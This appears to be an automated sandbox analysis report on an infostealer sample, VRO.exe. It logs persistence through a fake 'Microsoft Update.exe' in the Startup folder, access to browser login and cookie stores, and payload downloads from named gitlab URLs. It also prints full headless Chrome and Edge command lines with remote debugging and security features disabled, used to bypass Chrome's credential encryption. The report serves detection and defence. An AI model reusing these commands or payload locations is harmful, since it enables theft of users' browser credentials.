Source:	Binary string: /_/artifacts/obj/EntityFramework/Release/netstandard2.1/EntityFramework.pdb source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\Projects\HK_NAVITE_DLL_v3_OKE\HK\bin\Release\net8.0\win-x64\native\oke.pdb source: VRO.exe, 00000000.00000003.2930262522.000001D4C8202000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47E62F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\cb\cb\cb\bld\bin\e_sqlite3\win\v142\plain\x64\e_sqlite3.pdb source: VRO.exe, 00000000.00000002.2936120727.000001D4CDC00000.00000004.00001000.00020000.00000000.sdmp, e_sqlite3.dll.0.dr
Source:	Binary string: /_/artifacts/obj/System.Management/Release/net8.0-windows/System.Management.pdbSHA256 source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.IO.Compression.ni.pdb source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\dev\sqlite\dotnet-private\System.Data.SQLite\obj\Release\netstandard2.1\System.Data.SQLite.pdbSHA256 source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: /_/artifacts/obj/System.Management/Release/net8.0-windows/System.Management.pdb source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp

Source: VRO.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: VRO.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: VRO.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: VRO.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: VRO.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: VRO.exe	Static PE information: section name: .fptable
Source: Microsoft Update.exe.0.dr	Static PE information: section name: .fptable
Source: e_sqlite3.dll.0.dr	Static PE information: section name: _RDATA
Source: svchost.dll.0.dr	Static PE information: section name: .managed
Source: svchost.dll.0.dr	Static PE information: section name: hydrated

Source: C:\Users\user\Desktop\VRO.exe	File created: C:\Users\user\Desktop\MyApp\svchost.dll	Jump to dropped file
Source: C:\Users\user\Desktop\VRO.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Jump to dropped file
Source: C:\Users\user\Desktop\VRO.exe	File created: C:\Users\user\Desktop\e_sqlite3.dll	Jump to dropped file

Boot Survival

Drops PE files to the startup folder

Source: C:\Users\user\Desktop\VRO.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe

Jump to dropped file

Source: C:\Users\user\Desktop\VRO.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe

Jump to behavior

Source: C:\Users\user\Desktop\VRO.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe			Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe\:Zone.Identifier:$DATA			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Source: initial sample

Icon embedded in binary file: icon matches a legit application icon: download (28).png

Source: C:\Users\user\Desktop\VRO.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\VRO.exe	Memory allocated: 1D4C4E80000 memory reserve \| memory write watch			Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Memory allocated: 1B47B310000 memory reserve \| memory write watch			Jump to behavior

Source: C:\Users\user\Desktop\VRO.exe

Dropped PE file which has not been started: C:\Users\user\Desktop\MyApp\svchost.dll

Jump to dropped file

Source: C:\Users\user\Desktop\VRO.exe TID: 6984	Thread sleep time: -30000s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe TID: 4312	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\VRO.exe	Code function: 0_2_00007FF6A72B7700 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF6A72B7700
Source: C:\Users\user\Desktop\VRO.exe	Code function: 0_2_00007FF6A72B757C FindFirstFileExW,	0_2_00007FF6A72B757C
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Code function: 14_2_00007FF7B688757C FindFirstFileExW,	14_2_00007FF7B688757C
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Code function: 14_2_00007FF7B6887700 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	14_2_00007FF7B6887700

Source: Microsoft Update.exe, 0000000E.00000002.3545297452.000001B47B0EC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWPO
Source: VRO.exe, 00000000.00000002.2935402785.000001D4CD95B000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 2microsoft-hyper-v-client-migration-replacement.man
Source: VRO.exe, 00000000.00000002.2935402785.000001D4CD95B000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: KD:\sources\replacementmanifests\microsoft-hyper-v-migration-replacement.manX
Source: VRO.exe, 00000000.00000002.2934265889.000001D4C4CBC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C8202000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47E62F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: qEMutating a value collection derived from a dictionary is not allowed.Y
Source: VRO.exe, 00000000.00000002.2935402785.000001D4CD95B000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 3microsoft-hyper-v-drivers-migration-replacement.man
Source: Microsoft Update.exe, 0000000E.00000003.3245081631.000001B47B156000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000003.3231664254.000001B47B156000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3545297452.000001B47B156000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW^-
Source: VRO.exe, 00000000.00000003.2362516386.000001D4C4D40000.00000004.00000020.00020000.00000000.sdmp, VRO.exe, 00000000.00000003.2890389550.000001D4C4D40000.00000004.00000020.00020000.00000000.sdmp, VRO.exe, 00000000.00000003.2890827152.000001D4C4D40000.00000004.00000020.00020000.00000000.sdmp, VRO.exe, 00000000.00000003.2933600145.000001D4C4D3E000.00000004.00000020.00020000.00000000.sdmp, VRO.exe, 00000000.00000003.2609261046.000001D4C4D40000.00000004.00000020.00020000.00000000.sdmp, VRO.exe, 00000000.00000003.2859575431.000001D4C4D40000.00000004.00000020.00020000.00000000.sdmp, VRO.exe, 00000000.00000003.2889529783.000001D4C4D40000.00000004.00000020.00020000.00000000.sdmp, VRO.exe, 00000000.00000003.1860592631.000001D4C4D44000.00000004.00000020.00020000.00000000.sdmp, VRO.exe, 00000000.00000002.2934352732.000001D4C4D40000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000003.3245081631.000001B47B156000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000003.3231664254.000001B47B156000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: VRO.exe, 00000000.00000002.2935402785.000001D4CD95B000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: RD:\sources\replacementmanifests\microsoft-hyper-v-client-migration-replacement.manX
Source: VRO.exe, 00000000.00000002.2935402785.000001D4CD95B000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SD:\sources\replacementmanifests\microsoft-hyper-v-drivers-migration-replacement.manX
Source: chrome.exe, 00000002.00000002.2116699406.000002237C3D9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllII@kP
Source: chrome.exe, 00000007.00000002.2364043173.000002CB8D77B000.00000004.00000020.00020000.00000000.sdmp, msedge.exe, 00000009.00000002.2611710647.000002426D62B000.00000004.00000020.00020000.00000000.sdmp, msedge.exe, 0000000C.00000002.2861721817.0000027A06C2B000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.3491860682.0000029DA1F8B000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000011.00000002.3543399321.000001A537799000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: VRO.exe, 00000000.00000002.2935402785.000001D4CD95B000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: +microsoft-hyper-v-migration-replacement.man

Source: C:\Users\user\Desktop\VRO.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\VRO.exe

Code function: 0_2_00007FF6A729FE3C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF6A729FE3C

Source: C:\Users\user\Desktop\VRO.exe

Code function: 0_2_00007FF6A72BB820 GetProcessHeap,

0_2_00007FF6A72BB820

Source: C:\Users\user\Desktop\VRO.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\VRO.exe	Code function: 0_2_00007FF6A72A001C SetUnhandledExceptionFilter,	0_2_00007FF6A72A001C
Source: C:\Users\user\Desktop\VRO.exe	Code function: 0_2_00007FF6A729FE3C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF6A729FE3C
Source: C:\Users\user\Desktop\VRO.exe	Code function: 0_2_00007FF6A72A4D38 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF6A72A4D38
Source: C:\Users\user\Desktop\VRO.exe	Code function: 0_2_00007FF6A729FA7C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF6A729FA7C
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Code function: 14_2_00007FF7B687001C SetUnhandledExceptionFilter,	14_2_00007FF7B687001C
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Code function: 14_2_00007FF7B6874D38 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_00007FF7B6874D38
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Code function: 14_2_00007FF7B686FE3C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_00007FF7B686FE3C
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Code function: 14_2_00007FF7B686FA7C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	14_2_00007FF7B686FA7C

Source: C:\Users\user\Desktop\VRO.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9562 --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User Data" --profile-directory="Default" --disable-popup-blocking --disable-extensions --disable-gpu --disable-software-rasterizer --disable-dev-shm-usage --no-sandbox --disable-logging --disable-web-security --allow-running-insecure-content --ignore-certificate-errors --disable-features=IsolateOrigins,site-per-process --disable-blink-features=AutomationControlled --disable-background-networking --disable-default-apps --disable-hang-monitor --disable-sync --disable-client-side-phishing-detection --disable-background-timer-throttling --disable-renderer-backgrounding --disable-backgrounding-occluded-windows --disable-ipc-flooding-protection --mute-audio --window-size=1280,720 --window-position=-3000,-3000 --headless	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9992 --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User Data" --profile-directory="Default" --disable-popup-blocking --disable-extensions --disable-gpu --disable-software-rasterizer --disable-dev-shm-usage --no-sandbox --disable-logging --disable-web-security --allow-running-insecure-content --ignore-certificate-errors --disable-features=IsolateOrigins,site-per-process --disable-blink-features=AutomationControlled --disable-background-networking --disable-default-apps --disable-hang-monitor --disable-sync --disable-client-side-phishing-detection --disable-background-timer-throttling --disable-renderer-backgrounding --disable-backgrounding-occluded-windows --disable-ipc-flooding-protection --mute-audio --window-size=1280,720 --window-position=-3000,-3000 --headless	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9651 --user-data-dir="C:\Users\user\AppData\Local\Microsoft\Edge\User Data" --profile-directory="Default" --disable-popup-blocking --disable-extensions --disable-gpu --disable-software-rasterizer --disable-dev-shm-usage --no-sandbox --disable-logging --disable-web-security --allow-running-insecure-content --ignore-certificate-errors --disable-features=IsolateOrigins,site-per-process --disable-blink-features=AutomationControlled --disable-background-networking --disable-default-apps --disable-hang-monitor --disable-sync --disable-client-side-phishing-detection --disable-background-timer-throttling --disable-renderer-backgrounding --disable-backgrounding-occluded-windows --disable-ipc-flooding-protection --mute-audio --window-size=1280,720 --window-position=-3000,-3000 --headless	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9953 --user-data-dir="C:\Users\user\AppData\Local\Microsoft\Edge\User Data" --profile-directory="Default" --disable-popup-blocking --disable-extensions --disable-gpu --disable-software-rasterizer --disable-dev-shm-usage --no-sandbox --disable-logging --disable-web-security --allow-running-insecure-content --ignore-certificate-errors --disable-features=IsolateOrigins,site-per-process --disable-blink-features=AutomationControlled --disable-background-networking --disable-default-apps --disable-hang-monitor --disable-sync --disable-client-side-phishing-detection --disable-background-timer-throttling --disable-renderer-backgrounding --disable-backgrounding-occluded-windows --disable-ipc-flooding-protection --mute-audio --window-size=1280,720 --window-position=-3000,-3000 --headless	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9616 --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User Data" --profile-directory="Default" --disable-popup-blocking --disable-extensions --disable-gpu --disable-software-rasterizer --disable-dev-shm-usage --no-sandbox --disable-logging --disable-web-security --allow-running-insecure-content --ignore-certificate-errors --disable-features=IsolateOrigins,site-per-process --disable-blink-features=AutomationControlled --disable-background-networking --disable-default-apps --disable-hang-monitor --disable-sync --disable-client-side-phishing-detection --disable-background-timer-throttling --disable-renderer-backgrounding --disable-backgrounding-occluded-windows --disable-ipc-flooding-protection --mute-audio --window-size=1280,720 --window-position=-3000,-3000 --headless	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9540 --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User Data" --profile-directory="Default" --disable-popup-blocking --disable-extensions --disable-gpu --disable-software-rasterizer --disable-dev-shm-usage --no-sandbox --disable-logging --disable-web-security --allow-running-insecure-content --ignore-certificate-errors --disable-features=IsolateOrigins,site-per-process --disable-blink-features=AutomationControlled --disable-background-networking --disable-default-apps --disable-hang-monitor --disable-sync --disable-client-side-phishing-detection --disable-background-timer-throttling --disable-renderer-backgrounding --disable-backgrounding-occluded-windows --disable-ipc-flooding-protection --mute-audio --window-size=1280,720 --window-position=-3000,-3000 --headless	Jump to behavior

Language, Device and Operating System Detection

Yara detected Telegram Recon

Source: Yara match

File source: C:\Users\user\Desktop\MyApp\svchost.dll, type: DROPPED

Source: C:\Users\user\Desktop\VRO.exe

Code function: 0_2_00007FF6A72BFEF0 cpuid

0_2_00007FF6A72BFEF0

Source: C:\Users\user\Desktop\VRO.exe	Code function: EnumSystemLocalesW,	0_2_00007FF6A72B0F64
Source: C:\Users\user\Desktop\VRO.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_00007FF6A72BAF40
Source: C:\Users\user\Desktop\VRO.exe	Code function: EnumSystemLocalesW,	0_2_00007FF6A72BAEA8
Source: C:\Users\user\Desktop\VRO.exe	Code function: AreFileApisANSI,EnumSystemLocalesEx,GetDateFormatEx,GetLocaleInfoEx,GetTimeFormatEx,GetUserDefaultLocaleName,IsValidLocaleName,LCMapStringEx,LCIDToLocaleName,LocaleNameToLCID,	0_2_00007FF6A72B168C
Source: C:\Users\user\Desktop\VRO.exe	Code function: EnumSystemLocalesW,	0_2_00007FF6A72BADD8
Source: C:\Users\user\Desktop\VRO.exe	Code function: EnumSystemLocalesW,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00007FF6A72BB4E0
Source: C:\Users\user\Desktop\VRO.exe	Code function: GetLocaleInfoW,	0_2_00007FF6A72BB39C
Source: C:\Users\user\Desktop\VRO.exe	Code function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_00007FF6A72BAA74
Source: C:\Users\user\Desktop\VRO.exe	Code function: EnumSystemLocalesEx,	0_2_00007FF6A72B1254
Source: C:\Users\user\Desktop\VRO.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00007FF6A72BB2E8
Source: C:\Users\user\Desktop\VRO.exe	Code function: GetLocaleInfoEx,GetLocaleInfoW,	0_2_00007FF6A72B1324
Source: C:\Users\user\Desktop\VRO.exe	Code function: GetLocaleInfoW,	0_2_00007FF6A72BB190
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	14_2_00007FF7B688AF40
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Code function: EnumSystemLocalesW,	14_2_00007FF7B6880F64
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Code function: EnumSystemLocalesW,	14_2_00007FF7B688ADD8
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Code function: EnumSystemLocalesW,	14_2_00007FF7B688AEA8
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Code function: GetLocaleInfoW,	14_2_00007FF7B688B39C
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Code function: GetLocaleInfoW,	14_2_00007FF7B6881324
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Code function: EnumSystemLocalesW,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	14_2_00007FF7B688B4E0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Code function: GetLocaleInfoW,	14_2_00007FF7B688B190
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	14_2_00007FF7B688B2E8
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Code function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW,	14_2_00007FF7B688AA74

Source: C:\Users\user\Desktop\VRO.exe

Code function: 0_2_00007FF6A729FD24 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF6A729FD24

Source: C:\Users\user\Desktop\VRO.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\VRO.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior

Source: C:\Users\user\Desktop\VRO.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Directory queried: C:\Users\Public\Documents\638724365355223764\Files	Jump to behavior
Source: C:\Users\user\Desktop\VRO.exe	Directory queried: C:\Users\Public\Documents\638724365355223764\Files\D	Jump to behavior

Source: Yara match

File source: Process Memory Space: VRO.exe PID: 6948, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\VRO.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9562 --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User Data" --profile-directory="Default" --disable-popup-blocking --disable-extensions --disable-gpu --disable-software-rasterizer --disable-dev-shm-usage --no-sandbox --disable-logging --disable-web-security --allow-running-insecure-content --ignore-certificate-errors --disable-features=IsolateOrigins,site-per-process --disable-blink-features=AutomationControlled --disable-background-networking --disable-default-apps --disable-hang-monitor --disable-sync --disable-client-side-phishing-detection --disable-background-timer-throttling --disable-renderer-backgrounding --disable-backgrounding-occluded-windows --disable-ipc-flooding-protection --mute-audio --window-size=1280,720 --window-position=-3000,-3000 --headless

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	12 Registry Run Keys / Startup Folder	11 Process Injection	11 Masquerading	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	12 Registry Run Keys / Startup Folder	2 Virtualization/Sandbox Evasion	LSASS Memory	1 Query Registry	Remote Desktop Protocol	11 Data from Local System	1 Remote Access Software	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	11 Process Injection	Security Account Manager	121 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	2 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	1 Process Discovery	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	11 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	23 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
VRO.exe	3%	Virustotal		Browse
VRO.exe	0%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	3%	Virustotal		Browse
C:\Users\user\Desktop\MyApp\svchost.dll	21%	ReversingLabs	Win64.Trojan.LowZones
C:\Users\user\Desktop\MyApp\svchost.dll	21%	Virustotal		Browse
C:\Users\user\Desktop\e_sqlite3.dll	0%	ReversingLabs
C:\Users\user\Desktop\e_sqlite3.dll	0%	Virustotal		Browse

Name	IP	Active	Malicious	Reputation
gitlab.com	172.65.251.78	true	false	high
api.ipify.org	172.67.74.152	true	false	high
ip-api.com	208.95.112.1	true	false	high

Contacted URLs

Name	Malicious	Reputation
https://api.ipify.org/	false	high
https://gitlab.com/hko247.black/truong/-/raw/main/svchost.hko?inline=false%06%06%06%06%06%06	false	high
https://gitlab.com/hko247.black/libs/-/raw/da36e8916e710628358afbbd35fc9d73b2fd41c2/e_sqlite3.dll?inline=false	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://github.com/mono/linker/issues/1731	VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://github.com/mono/linker/issues/2025	VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	false	high
